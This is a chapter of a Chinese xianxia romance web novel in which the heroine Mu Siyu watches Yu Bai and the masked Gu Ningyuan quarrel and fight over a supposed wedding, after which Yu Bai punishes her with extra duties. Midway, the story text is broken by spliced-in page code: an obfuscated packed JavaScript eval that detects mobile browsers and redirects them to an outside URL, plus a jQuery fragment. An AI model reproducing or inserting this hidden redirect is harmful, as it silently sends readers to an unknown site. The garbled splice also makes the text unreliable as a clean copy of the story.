她回过头,木讷地定在原地,埋头盯着脚尖,任凭聿白怎么拉她,也不肯往前跨出一步。
她也不知道自己是怎么了,心口那股莫名的悸动久久挥之不去。
就好像心里头有个东西在揪着她,又好像是她从他的眼底,窥见了一抹一闪而过的落寞。
还有一丝……同病相怜?
她想救他。
纵使这个人曾经戏弄过她,恐吓过她,对她满怀憎恶,甚至一度想要她的命。
可她……仍旧想救他。
“他会死吗?”慕思虞抬起头,望着聿白的背影,又轻声问了一遍:“小白,他会吗?”
聿白脚步一滞。
他背对着她,良久都没有回头,月光落在他身上,遮住他的身影,一半在明,一半在暗,“阿虞,你要知道,旁人死与不死,跟你都没有多大的关系,你只需管好你自己这条命。”
他缓缓转身,向前一步,凝视着她的眼眸,“你不想他死?”
“是。”她答得很干脆。
“理由呢?”
慕思虞张了张嘴,一时语塞,她不知道也想不出来缘由,只觉得心里乱成一团。
几个莫名的念头在脑子里纠缠,仿佛有一黑一白,两个小东西顶着一枚金色光环,扑闪着翅膀,在她脑子里吵得不可开交。
白色那个小声嘟囔:好歹占了原主的身体,总不能眼睁睁地看着她的师兄去送死吧?
黑色那个冷哼一声:可是原主自己都恨透了他!又不是咱们要杀他,正好借刀杀人,一不做二不休,替原主解决了这个心头恨,两全其美。
白色:可他三番五次救你于水火,做人不至于这么狼心狗肺吧?
黑色:谁狼心狗肺了?水火怎么来的,需要我一条一条列出来吗?
白色:可他长得实在好看……
黑色:做个人吧!……麻烦有点出息,三观不要跟着五官走行不行!!
慕思虞被吵得头昏眼涨,忍不住抬手用力按了按青筋凸起的额角,她只觉得一时间头疼欲裂,脑子一片混乱,那些吵闹声几乎侵占了她全部的理智,她一股脑地将心里话全部倒了出来。
“不是不是,不是那些!我只是觉得他有点可怜。”话一出口,她自己都愣了一瞬。
“可怜?”聿白一时没忍住,忽地笑出声来,“阿虞,你知道你自己在说什么吗?你是一个鬼使,拉人入地狱的鬼使,引人入轮回的鬼差。你不是诸仙神佛,没有谁为你燃尽香火,也没有谁因你的信念而活,你不需要学他们去普渡什么众生。可怜?这世上不是只有他一人可怜,众生皆苦,世间那么多人,你渡得过来吗?”
“可是……”她还想说些什么,聿白却懒得再听,轻轻擦过她的肩膀,朝顾宁渊缓步逼近。
他略微抬起下巴,居高临下地望着他,“阁下究竟给我家阿虞喂了什么迷魂汤,不过几日功夫,竟让她对你生了不舍之情?”
“拜过天地,入过洞房。”
顾宁渊眉梢轻轻一挑,毫不惧色地迎上那目光,漫不经心地抬起手臂,故意将身上那件喜服展示得清清楚楚,恨不得将每一处细节,都毫无遗漏地摆在众人面前。
等欣赏够了聿白阴沉的脸色,他才缓缓放下手臂,一面摩挲着袖口的鎏金花纹,一面抬眼挑衅地睨着他,“你说我喂的是什么迷魂汤?”
“我的人,你也配染指?”
“不容染指,我也染指了!”
慕思虞呆若木鸡地站在原地,脑子嗡嗡作响,这人说的每一个字她都明白,怎么合在一起反倒不理解什么意思了?
拜天地?她?
停停停停停停!!她什么时候成的亲,什么时候入的洞房,她这个当事人怎么一点也不知情?
难道是……
她猛地晃了晃头,不对,原主记忆里根本没有这茬,再说了,跟原主定亲的是宋寒之,要拜天地也是跟宋寒之拜才对。
两人嘴上功夫都了得,谁也不愿落了下风,你来我往,你一言我一句,句句往对方心窝子里戳,谁也不让谁。
楼内的修士大气不敢出,却按耐不住心底燃烧起来的那股熊熊火焰。他们一个个挤在大厅正对的楼栏边,竖起耳朵,伸长了脖子,直勾勾地盯着大门外的对峙,生怕错过一丁点儿细节。
时青沅倚在门槛上,清澈灵动的眸子里夹杂着浅浅笑意,懒洋洋地甩着悬挂在腰间的金铃,满脸都是看热闹不嫌事大的惬意。
今玄则抱着胳膊倚在另一边,静静地欣赏这出难得的好戏。
只有慕思虞在风中凌乱。
她很想知道,非常想知道,极其想知道,现在立刻马上就想知道!这见鬼的拜堂成亲到底怎么一回事!
可是,聿白似乎并没有那么想知道,他只是沉默了须臾,旋即懒得与他多费口舌,淡淡开口。
“无妨,待我剜了你这双眼睛,再剥去这身碍眼的喜袍,一切就还跟原来一样。不过……”他的目光落在顾宁渊脸上的白狐面具上,眯起眼眸,“这枚白狐面具,倒是别致。”
“想要?”顾宁渊扬唇一笑,“那得看你有没有这个本事了。”
“口出狂言。”
话音未落,聿白不知何时幻化出一柄折扇,他手握折扇,朝着对方的脸直直刺去。
顾宁渊嘴角依旧挂着笑,微微偏头,仿佛早就料到了这一招,轻易躲了过去,任凭那折扇斩断几缕耳畔扬起的墨发。
“宵月,来!”
慕思虞心头一紧,以为又是一场恶战,却不曾想他这次唤出的宵月,竟然连剑鞘都未曾出,甚至灵光都不曾凝起,宛如一把普通玄铁剑,就这样轻轻地落在他的手里。
他反手执起剑身,一面抵抗聿白的攻击,一面调侃道:“怎么?这么快就急了?”
“我不是急。”聿白手腕一转,虚晃一招,顺势将长剑夺了过来,他的声音一下子冷了下来,“我是要你知道,碰了不该碰的东西,应当是什么下场。”
与此同时,那柄折扇也被顾宁渊顺势接了去。
“是么?”顾宁渊眉眼慵懒,故作疑惑地展开那柄折扇,慢悠悠地摇了几下,又扫了一眼聿白,“似乎没什么下场,不过,倒是挺凉快的。”
“……还我!”
“不还。”
“我再说一次,还给我。”
“偏不。”
“……”
这都什么跟什么?慕思虞望着两人又扭作一团的身影,绝望地闭上眼,这画风实在诡异。
两个大男人,看起来修为都不低,此刻却像两个三岁小孩似的,一个咄咄逼人,一个故意撩火,先是在那里争一个面具,后面又在那里争一把折扇。
幼不幼稚?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329104|183189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她没脸看,真的想冲上去,猛地摇晃聿白的身体,大吼一声:聿白你若实在喜欢那面具,我去集市给你买一堆行不行?别说白狐,红的蓝的黄的橙的紫的彩的,我统统给你买来!
所以能不能先问一问,拜堂究竟是怎么一回事?
正当她扶额叹息时,忽然听见一声巨响,烟雾散去,顾宁渊倒在地上,脸色苍白,口吐鲜血。
“碰瓷是不是?”聿白看起来有些错愕,他下意识想去扶他,又猛地止住脚步,“我灵力都没用,区区掌力而已!你至于吗?不用演成这样吧?”
顾宁渊却微微抬手,抹开嘴角溢出的血迹,厉声喝道:“宵月!”
慕思虞盯着地上那滩血,心头狂跳,再一抬眼,顾宁渊便不见了踪迹。
“阿虞,这是你从哪里拐来的小鬼?”聿白走到慕思虞身边,脸色难看的捡起自己的折扇,旋即扭头望向看戏的时青沅,眼睛在她身上打转,“南域?”
“不是……”
他的目光转回来,蹙着眉盯着慕思虞,“西域?”
“也不是……”
“东域?”
慕思虞继续摇头,他气极反笑,“好啊,很好!北域更好!欺负人欺负到北域霸主头上!”他猛地转身,“今玄,跟我回修罗殿,我今天非要把他揪出来不可。”
“……他是人。”慕思虞望着他的背影,顿了顿,小心翼翼地又补充了一句,“活人。”
“……”
聿白跨出去的步子猛地刹住,硬生生僵在半空,他极其缓慢地转过身,一字一顿道,“你怎么不早说?”
慕思虞低下头,心虚地扯着衣角,声音细若蚊呐,“我本来要说的,你非要打断我,根本不给我机会,冲上去就跟人家动手……”
“……”
聿白沉默了好一会,满腔怒火瞬间被浇灭。
忽然,他弯起眼睛,笑眯眯地望着慕思虞,“我总结来总结去,想必是阿虞最近太闲了,精力过剩,所以才惹出这些乱子。
“不过不要紧。”他唤出鬼差符箓,拿起判笔,在上面轻轻一划,微笑道:“方才我在你的符箓里新添了一百个凶魂,本月之内,务必全部带回来,一个都不能少,否则……”
“我能把你从畜牲道拉回来,就能再次将你再推下去。”
“另外,”他的笑容愈发灿烂,“老是打扰师尊清修也不太好,我看修罗殿确实有些旧了,是该好好翻修了。这些苦力活……就辛苦阿虞你了。”
“我不……”慕思虞下意识想要拒绝。
他嘶了一声,俯身贴近,“嗯?我的那朵忘川花,是不是也该跟你好好算算呢?”
慕思虞瞬间头皮发麻,挤出一个难看假笑,用力点了点头,“这点小事,包在我身上了。”
不等她反应,聿白将倚在门槛边的今玄一把拽了过来,拖着他转身大步流星朝前走,丢给众人一个背影,随即他扬了扬手,“阿沅,今云楼的一切损失,全部记在阿虞的账上,别客气,她还的起。”
慕思虞望着那道身影,忍不住在他背后一套左勾拳,紧接着又是一套左勾拳,佯装捏着他的脖颈扔在地上,踩踩踩了好久!
这才略微解气。
她小跑跟上去,暗自低声咒骂,嘴里一个劲地吐出了无数条会被和谐的言论。
望着月亮深吸一口,舒坦。